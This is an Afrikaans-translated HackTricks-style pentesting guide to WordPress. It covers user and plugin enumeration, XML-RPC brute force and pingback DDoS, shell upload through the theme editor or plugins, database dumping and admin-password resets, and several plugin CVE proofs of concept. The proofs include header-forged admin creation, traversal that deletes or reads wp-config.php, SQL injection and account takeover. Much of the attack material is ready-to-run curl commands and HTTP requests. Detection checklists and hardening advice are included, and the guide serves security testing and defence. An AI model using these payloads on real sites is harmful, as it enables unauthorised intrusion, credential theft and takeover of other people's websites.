Wordpress

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

  • Uploaded lêers gaan na: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Tema-lêers kan gevind word in /wp-content/themes/, dus as jy ’n php van die tema verander om RCE te kry sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur theme twentytwelve te gebruik kan jy toegang kry tot die 404.php lêer in: /wp-content/themes/twentytwelve/404.php

  • Nog ’n nuttige url kan wees: /wp-content/themes/default/404.php

  • In wp-config.php kan jy die root-wagwoord van die databasis vind.

  • Standaard aanmeldpade om te kontroleer: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Belangrikste WordPress-lêers

  • index.php
  • license.txt bevat nuttige inligting soos die weergawe van WordPress wat geïnstalleer is.
  • wp-activate.php word gebruik vir die e-pos-aktiweringsproses wanneer ’n nuwe WordPress-webwerf opgestel word.
  • Aanmeldpade (kan hernoem wees om dit weg te steek):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php is ’n lêer wat ’n funksie van WordPress verteenwoordig wat data toelaat om oorgedra te word met HTTP as die vervoermeganisme en XML as die koderingmeganisme. Hierdie soort kommunikasie is vervang deur die WordPress REST API.
  • Die wp-content gids is die hoofgids waar plugins en themes gestoor word.
  • wp-content/uploads/ is die gids waar enige lêers wat na die platform opgelaai word, gestoor word.
  • wp-includes/ is die gids waar kernlêers gestoor word, soos sertifikate, lettertipes, JavaScript-lêers en widgets.
  • wp-sitemap.xml In WordPress weergawes 5.5 en hoër genereer WordPress ’n sitemap XML-lêer met alle openbare poste en openbaar navraagbare posttipes en taksonomieë.

Post exploitation

  • Die wp-config.php lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasenaam, database-host, gebruikersnaam en wagwoord, authentication keys and salts, en die databasis-tabelvoorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees in foutopsporing.

Gebruikerstoestemmings

  • Administrator
  • Editor: Publiseer en bestuur sy eie en ander se plasings
  • Author: Publiseer en bestuur sy eie plasings
  • Contributor: Skryf en bestuur sy plasings maar kan dit nie publiseer nie
  • Subscriber: Blaai deur plasings en wysig hul profiel

Passiewe Enumerasie

Kry WordPress-weergawe

Kyk of jy die lêers /license.txt of /readme.html kan vind

Binne die bronkode van die bladsy (voorbeeld van https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS link lêers

  • JavaScript lêers

Kry Plugins

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Kry Temas

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Onttrek weergawes in die algemeen

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Aktiewe enumerasie

Inproppe en temas

Jy sal waarskynlik nie alle inproppe en temas kan vind nie. Om hulle almal te ontdek, sal jy nodig hê om aktief ’n lys van inproppe en temas te Brute Force (hopelik is daar geoutomatiseerde gereedskap wat hierdie lyste bevat).

Gebruikers

  • ID Brute: Jy kry geldige gebruikers van ’n WordPress-webwerf deur gebruikers-ID’s te Brute Force:
curl -s -I -X GET http://blog.example.com/?author=1

As die antwoorde 200 of 30X is, beteken dit dat die id geldig is. As die antwoord 400 is, is die id ongeldig.

  • wp-json: Jy kan ook probeer om inligting oor die gebruikers te kry deur te query:
curl http://blog.example.com/wp-json/wp/v2/users

Nog ’n /wp-json/ endpoint wat sekere inligting oor gebruikers kan openbaar is:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Let wel dat hierdie endpoint slegs gebruikers blootstel wat ’n post gemaak het. Slegs inligting oor gebruikers wat hierdie funksie geaktiveer het, sal voorsien word.

Ook let op dat /wp-json/wp/v2/pages IP-adresse kan leak.

  • Login username enumeration: Wanneer jy by /wp-login.php aanmeld, is die boodskap verskillend en dui dit aan of die gebruikersnaam bestaan of nie.

XML-RPC

Indien xml-rpc.php aktief is, kan jy ’n credentials brute-force uitvoer of dit gebruik om DoS attacks teen ander hulpbronne te loods. (Jy kan hierdie proses using this byvoorbeeld outomatiseer).

Om te sien of dit aktief is, probeer toegang tot /xmlrpc.php kry en stuur hierdie versoek:

Kontroleer

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories of metaWeblog.getUsersBlogs is ’n paar van die metodes wat gebruik kan word om brute-force credentials uit te voer. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Die boodskap “Incorrect username or password” binne ’n 200 code response moet verskyn as die credentials nie geldig is nie.

Met die korrekte credentials kan jy ’n lêer oplaai. In die reaksie sal die pad verskyn (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:

Bypass 2FA

Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud; daarom ondersteun dit nie 2FA nie. So, as jy geldige creds het maar die hooftoegang is beskerm deur 2FA, mag jy xmlrpc.php kan misbruik om met daardie creds aan te meld en 2FA te omseil. Let daarop dat jy nie al die aksies wat jy via die console kan doen, sal kan uitvoer nie, maar jy kan nog steeds by RCE uitkom soos Ippsec dit verduidelik in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask thousands of Wordpress sites to access one location (so a DDoS is caused in that location) or you can use it to make Wordpress lo scan some internal network (you can indicate any port).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

As jy faultCode kry met ’n waarde groter as 0 (17), beteken dit die poort is oop.

Kyk na die gebruik van system.multicall in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Hierdie lêer bestaan gewoonlik in die wortel van die Wordpress-webwerf: /wp-cron.php
Wanneer hierdie lêer toegeraak word, word ’n “sware” MySQL navraag uitgevoer, dus kan dit deur aanvallers gebruik word om ’n DoS te veroorsaak.
Verder word, standaard, die wp-cron.php op elke bladlaai aangeroep (enige keer wanneer ’n kliënt ’n Wordpress-blad versoek), wat op hoogs-geskrewe webwerwe probleme kan veroorsaak (DoS).

Dit word aanbeveel om Wp-Cron uit te skakel en ’n werklike cronjob op die gasheer te skep wat die nodige aksies op gereelde intervalle uitvoer (sonder om probleme te veroorsaak).

/wp-json/oembed/1.0/proxy - SSRF

Probeer toegang kry tot https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net en die Worpress-webwerf mag ’n versoek na jou stuur.

This is the response when it doesn’t work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Hierdie tool kontroleer of die methodName: pingback.ping en vir die pad /wp-json/oembed/1.0/proxy bestaan en, indien dit bestaan, probeer dit om dit uit te buit.

Outomatiese Tools

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Kry toegang deur ’n bit te oorskryf

Meer ’n nuuskierigheid as ’n werklike aanval. In die CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man kon jy 1 bit van enige wordpress-lêer omdraai. Dus kon jy die posisie 5389 van die lêer /var/www/html/wp-includes/user.php omdraai om die NOT (!) operasie te NOP.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Wysig ’n php-lêer van die tema wat gebruik word (admin credentials needed)

Voorkoms → Tema-redigeerder → 404-sjabloon (aan die regterkant)

Verander die inhoud na ’n php shell:

Soek op die internet hoe jy daardie opgedateerde bladsy kan bereik. In hierdie geval moet jy die volgende besoek: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Jy kan die volgende gebruik:

use exploit/unix/webapp/wp_admin_shell_upload

om ’n sessie te kry.

Plugin RCE

PHP plugin

Dit mag moontlik wees om .php-lêers as ’n plugin op te laai.
Skep jou php backdoor byvoorbeeld soos:

Voeg dan ’n nuwe plugin by:

Laai die plugin op en druk Install Now:

Klik op Procced:

Waarskynlik sal dit niks doen nie, maar as jy na Media gaan, sal jy jou shell sien wat opgelaai is:

Maak dit oop en jy sal die URL sien om die reverse shell uit te voer:

Uploading and activating malicious plugin

Hierdie metode behels die installasie van ’n kwaadwillige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om ’n web shell te verkry. Hierdie proses word deur die WordPress dashboard soos volg uitgevoer:

  1. Plugin Acquisition: Die plugin word vanaf ’n bron soos Exploit DB verkry, soos here.
  2. Plugin Installation:
  • Navigate to the WordPress dashboard, then go to Dashboard > Plugins > Upload Plugin.
  • Laai die zip-lêer van die afgelaaide plugin op.
  1. Plugin Activation: Zodra die plugin suksesvol geïnstalleer is, moet dit via die dashboard geaktiveer word.
  2. Exploitation:
  • Met die plugin “reflex-gallery” geïnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar.
  • Die Metasploit framework bied ’n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan ’n meterpreter sessie gevestig word, wat ongemagtigde toegang tot die site gee.
  • Daar word opgemerk dat dit net een van die vele metodes is om ’n WordPress site te benut.

Die inhoud sluit visuele hulpbronne in wat die stappe in die WordPress dashboard uitbeeld vir die installasie en aktivering van die plugin. Dit is egter belangrik om daarop te let dat die uitbuiting van kwesbaarhede op hierdie wyse onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs in ’n regmatige konteks, soos penetration testing met eksplisiete toestemming.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike is ’n script ontworpen om ’n Cross-Site Scripting (XSS) kwetsbaarheid te eskaleer na Remote Code Execution (RCE) of ander kritieke kwesbaarhede in WordPress. Vir meer inligting sien this post. Dit bied ondersteuning vir Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
  • Privilege Escalation: Skep ’n user in WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Laai jou custom plugin (backdoor) na WordPress op.
  • (RCE) Built-In Plugin Edit: Wysig ’n Built-In Plugin in WordPress.
  • (RCE) Built-In Theme Edit: Wysig ’n Built-In Theme in WordPress.
  • (Custom) Custom Exploits: Custom Exploits vir Third-Party WordPress Plugins/Themes.

Post Exploitation

Trek gebruikersname en wagwoorde uit:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Verander admin password:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Aanvalsoppervlak

Om te weet hoe ’n Wordpress-plugin funksionaliteit kan blootstel, is sleutel om kwesbaarhede in daardie funksionaliteit te vind. Jy kan sien hoe ’n plugin funksionaliteit kan blootstel in die volgende punte en ’n paar voorbeelde van kwesbare plugins in this blog post.

  • wp_ajax

Een van die maniere waarop ’n plugin funksies aan gebruikers kan blootstel is via AJAX-handlers. Hierdie kan logika-, outorisasie- of verifikasie-foute bevat. Boonop is dit gereeld dat hierdie funksies beide verifikasie en outorisering baseer op die bestaan van ’n Wordpress nonce wat enige gebruiker wat in die Wordpress-instansie aangemeld is mag hê (ongeag sy rol).

Hierdie is die funksies wat gebruik kan word om ’n funksie in ’n plugin bloot te stel:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Die gebruik van nopriv maak die eindpunt deur enige gebruiker toeganklik (selfs nie-geauthentiseerde gebruikers).

Caution

Boonop, as die funksie net die gebruiker se autorisasie nagaan met die funksie wp_verify_nonce, kontroleer hierdie funksie slegs of die gebruiker aangemeld is; dit kontroleer gewoonlik nie die gebruiker se rol nie. Dus kan gebruikers met lae bevoegdhede toegang hê tot aksies met hoë bevoegdhede.

  • REST API

Dit is ook moontlik om funksies van wordpress bloot te stel deur ’n REST API te registreer met die funksie register_rest_route:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

Die permission_callback is ’n callback-funksie wat kontroleer of ’n gegewe gebruiker gemagtig is om die API-metode aan te roep.

If the built-in __return_true function is used, it’ll simply skip user permissions check.

  • Direkte toegang tot die php-lêer

Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. Dus, as ’n plugin enige kwesbare funksionaliteit blootstel wat net deur toegang tot die lêer getrigger word, sal dit deur enige gebruiker uitgebuit kan word.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Sommige plugins implementeer “trusted header” kortpaaie vir interne integrasies of reverse proxies en gebruik dan daardie header om die huidige gebruikerskonteks vir REST-versoeke te stel. As die header nie kriptografies aan die versoek gebonde is deur ’n upstream-komponent nie, kan ’n aanvaller dit nadoen en geprivilegieerde REST-roetes as ’n administrateur tref.

  • Impact: ongeauthentiseerde privilege-escalasie na admin deur ’n nuwe administrateur te skep via die core users REST-roete.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (forces user ID 1, typically the first administrator account).
  • Exploited route: POST /wp-json/wp/v2/users with an elevated role array.

PoC

POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Waarom dit werk

  • Die plugin map ’n kliënt-beheerde header na die authentication state en slaan capability checks oor.
  • WordPress core verwag die create_users capability vir hierdie route; die plugin hack omseil dit deur die huidige gebruiker-konteks direk vanaf die header te stel.

Verwagte suksesaanwysers

  • HTTP 201 met ’n JSON-body wat die geskepte gebruiker beskryf.
  • ’n Nuwe admin-gebruiker sigbaar in wp-admin/users.php.

Opsporingskontrolelys

  • Grep vir getallheaders(), $_SERVER['HTTP_...'], of vendor SDKs wat custom headers lees om die user context te stel (bv. wp_set_current_user(), wp_set_auth_cookie()).
  • Hersien REST-registrasies vir bevoorregte callbacks wat nie robuuste permission_callback kontroles het nie en eerder op request headers staatmaak.
  • Soek na gebruik van kern user-management funksies (wp_insert_user, wp_create_user) binne REST handlers wat slegs deur header-waardes beperk word.

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress themes en plugins maak dikwels AJAX handlers beskikbaar via die wp_ajax_ en wp_ajax_nopriv_ hooks. Wanneer die nopriv variant gebruik word word die callback deur nie-aangemelde besoekers bereikbaar, daarom moet enige sensitiewe aksie bykomend die volgende implementeer:

  1. ’n capability check (bv. current_user_can() of ten minste is_user_logged_in()), en
  2. ’n CSRF nonce gevalideer met check_ajax_referer() / wp_verify_nonce(), en
  3. Streng invoer-sanitisasie / validering.

Die Litho multipurpose theme (< 3.1) het daardie 3 kontroles in die Remove Font Family funksie vergeet en het uiteindelik die volgende kode (vereenvoudig) gelewer:

function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Probleme wat deur hierdie snippet veroorsaak word:

  • Nie-geauthentiseerde toegang – die wp_ajax_nopriv_ hook is geregistreer.
  • No nonce / capability check – enige besoeker kan die endpoint bereik.
  • Geen pad-sanitisering – die deur die gebruiker beheerste fontfamily string word sonder filtrering aan ’n lêerstelselpad gekoppel, wat klassieke ../../ traversal moontlik maak.

Exploitation

’n aanvaller kan enige lêer of gids below the uploads base directory (gewoonlik <wp-root>/wp-content/uploads/) verwyder deur ’n enkele HTTP POST-versoek te stuur:

curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Omdat wp-config.php buite uploads woon, is vier ../ sekwense genoeg op ’n verstekinstallasie. Die verwydering van wp-config.php dwing WordPress by die volgende besoek na die installation wizard, wat ’n volledige webwerf-oorgreep moontlik maak (die aanvaller verskaf net ’n nuwe DB-konfigurasie en skep ’n admin-gebruiker).

Ander impakvolle teikens sluit plugin/theme .php lêers in (om security plugins te breek) of .htaccess reëls.

Detection checklist

  • Enige add_action( 'wp_ajax_nopriv_...') callback wat filesystem helpers aanroep (copy(), unlink(), $wp_filesystem->delete(), ens.).
  • Samevoeging van ongesanitiseerde gebruikersinvoer in paaie (kyk vir $_POST, $_GET, $_REQUEST).
  • Afwesigheid van check_ajax_referer() en current_user_can()/is_user_logged_in().

Privilege escalation via stale role restoration and missing authorization (ASE “View Admin as Role”)

Baie plugins implementeer ’n “view as role” of tydelike role-switching funksie deur die oorspronklike rol(le) in user meta te stoor sodat dit later herstel kan word. As die herstelpad slegs op request parameters staatmaak (bv. $_REQUEST['reset-for']) en ’n plugin-maintained lys sonder om capabilities en ’n geldige nonce te kontroleer, lei dit tot ’n vertical privilege escalation.

’n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset-branch het rolle herstel gebaseer op reset-for=<username> as die gebruikersnaam in ’n interne array $options['viewing_admin_as_role_are'] verskyn het, maar het nie ’n current_user_can()-kontrole uitgevoer nie en ook nie ’n nonce-verifikasie voordat dit die huidige rolle verwyder en die gestoor rolle uit user meta _asenha_view_admin_as_original_roles herbygevoeg het:

// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Waarom dit uitbuitbaar is

  • Vertrou op $_REQUEST['reset-for'] en ’n plugin-opsie sonder bedienerkant magtiging.
  • As ’n gebruiker voorheen hoër voorregte gehad het wat gestoor is in _asenha_view_admin_as_original_roles en afgradeer is, kan hulle dit herstel deur die reset-pad aan te roep.
  • In sommige implementasies kon enige geauthentiseerde gebruiker ’n reset vir ’n ander gebruikersnaam veroorsaak wat steeds in viewing_admin_as_role_are teenwoordig is (gebroke magtiging).

Exploitation (example)

# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Op kwesbare builds verwyder dit die huidige rolle en voeg weer die gestoorde oorspronklike rolle by (bv. administrator), effectively escalating privileges.

Detection checklist

  • Kyk na rolwissel-funksies wat die “original roles” in user meta bewaar (bv. _asenha_view_admin_as_original_roles).
  • Identifiseer reset/restore-paaie wat:
  • Lees gebruikersname vanaf $_REQUEST / $_GET / $_POST.
  • Wysig rolle via add_role() / remove_role() sonder gebruik van current_user_can() en wp_verify_nonce() / check_admin_referer().
  • Authoriseer gebaseer op ’n plugin-opsie-array (bv. viewing_admin_as_role_are) in plaas van die akteur se capabilities.

Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)

Some plugins wire user-switching helpers to the public init hook and derive identity from a client-controlled cookie. If the code calls wp_set_auth_cookie() without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID.

Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):

function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Waarom dit uitbuitbaar is

  • Publieke init hook maak die handler bereikbaar vir ongeauthentiseerde gebruikers (geen is_user_logged_in()-kontrole nie).
  • Identiteit word afgelei uit ’n kliënt-wysigbare cookie (original_user_id).
  • Direkte oproep na wp_set_auth_cookie($uid) teken die versoeker in as daardie gebruiker sonder enige capability/nonce-kontroles.

Exploitation (unauthenticated)

GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WAF considerations for WordPress/plugin CVEs

Generiese edge/server WAFs is ingestel op breë patrone (SQLi, XSS, LFI). Baie hoë‑impak WordPress/plugin foute is toepassings‑spesifieke logika-/auth-foute wat soos goedaardige verkeer lyk tensy die engine WordPress-roetes en plugin-semantiek verstaan.

Offensiewe notas

  • Rigteer plugin-spesifieke endpoints met skoon payloads: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Toets eers nie-geauthentiseerde paaie (AJAX nopriv, REST met permissiewe permission_callback, publieke shortcodes). Standaard payloads slaag dikwels sonder obfuskasie.
  • Tipiese hoë-impak gevalle: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Verdedigingsnotas

  • Moenie staatmaak op generiese WAF-handtekeninge om plugin CVEs te beskerm nie. Implementeer toepassingslaag-, kwesbaarheid-spesifieke virtuele pleisters of werk vinnig op.
  • Verkies positive-security kontroles in kode (capabilities, nonces, streng input validation) bo negatiewe regex-filters.

WordPress Protection

Regular Updates

Maak seker WordPress, plugins, en themes is op datum. Bevestig ook dat geoutomatiseerde opdatering in wp-config.php aangeskakel is:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Installeer ook slegs betroubare WordPress-plugins en -temas.

Sekuriteits-plugins

Ander Aanbevelings

  • Verwyder die standaard admin gebruiker
  • Gebruik sterk wagwoorde en 2FA
  • Gereeld hersien gebruikers se toestemmings
  • Beperk aanmeldpogings om Brute Force-aanvalle te voorkom
  • Hernoem die wp-admin.php lêer en laat toegang slegs intern of vanaf sekere IP-adresse toe.

Ongeauthentiseerde SQL Injection weens onvoldoende validering (WP Job Portal <= 2.3.2)

Die WP Job Portal recruitment-plugin het ’n savecategory taak blootgestel wat uiteindelik die volgende kwesbare kode binne modules/category/model.php::validateFormData() uitvoer:

$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Probleme wat deur hierdie kodefragment veroorsaak word:

  1. Ongefiltreerde gebruikersinvoer – parentid kom direk uit die HTTP-versoek.
  2. String concatenation inside the WHERE clause – geen is_numeric() / esc_sql() / prepared statement.
  3. Unauthenticated reachability – al word die aksie uitgevoer via admin-post.php, is die enigste kontrole ’n CSRF nonce (wp_verify_nonce()), wat enige besoeker kan onttrek vanaf ’n openbare bladsy wat die shortcode [wpjobportal_my_resumes] insluit.

Eksploitasie

  1. Haal ’n vars nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Voer arbitrêre SQL in deur parentid te misbruik:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

Die respons openbaar die resultaat van die ingevoegde query of verander die databasis, wat SQLi bewys.

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Nog ’n taak, downloadcustomfile, het besoekers toegelaat om enige lêer op die skyf af te laai via path traversal. Die kwesbare sink is geleë in modules/customfield/model.php::downloadCustomUploadedFile():

$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name word deur die aanvaller beheer en aanmekaar gekoppel sonder saniëring. Weereens is die enigste hindernis ’n CSRF nonce wat vanaf die CV-bladsy gehaal kan word.

Uitbuiting

curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Die bediener antwoord met die inhoud van wp-config.php, leaking DB credentials and auth keys.

Ongeauthentiseerde rekeningoorname via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

Baie temas/plugins bevat “social login” helpers wat via admin-ajax.php blootgestel word. As ’n ongeauthentiseerde AJAX-aksie (wp_ajax_nopriv_…) kliënt-verskafde identifiseerders vertrou wanneer provider-data ontbreek en dan wp_set_auth_cookie() aanroep, lei dit tot ’n volledige authentikasie-omseiling.

Tipiese foutiewe patroon (vereenvoudigde)

public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Waarom dit uitbuitbaar is

  • Ongeauthentiseerde bereikbaarheid via admin-ajax.php (wp_ajax_nopriv_… action).
  • Geen nonce/capability kontroles voordat ’n statusverandering plaasvind.
  • Geen OAuth/OpenID provider-verifikasie; default branch aanvaar attacker input.
  • get_user_by(‘email’, $_POST[‘id’]) gevolg deur wp_set_auth_cookie($uid) autentiseer die versoeker as enige bestaande e-posadres.

Eksploitasie (ongeauthentiseerd)

  • Vereistes: attacker kan /wp-admin/admin-ajax.php bereik en ken/raai ’n geldige gebruikers-e-posadres.
  • Stel provider op ’n onondersteunde waarde (of laat dit weg) om die default branch te tref en id=<victim_email> te stuur.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com

curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

